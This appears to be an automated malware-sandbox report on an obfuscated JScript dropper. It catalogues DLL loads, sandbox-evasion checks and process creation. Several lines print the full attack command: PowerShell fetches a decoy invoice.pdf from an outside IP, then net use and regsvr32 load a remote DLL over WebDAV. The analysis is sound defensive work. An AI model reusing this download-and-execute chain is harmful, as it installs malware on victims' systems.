Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4028.js.csv");ITextStream.WriteLine(" entry:7981 f:jenrmlzlo");ITextStream.WriteLine(" exec:2 f:jenrmlzlo");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4684			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5122			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 796	Thread sleep count: 4684 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6064	Thread sleep count: 5122 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5516	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5244	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5576	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7396	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000003.1840650043.000001BCE16EC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1841132823.000001BCE1688000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3073402861.0000021D4B054000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3072731247.0000021D45C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000003.1840650043.000001BCE16EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\F

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
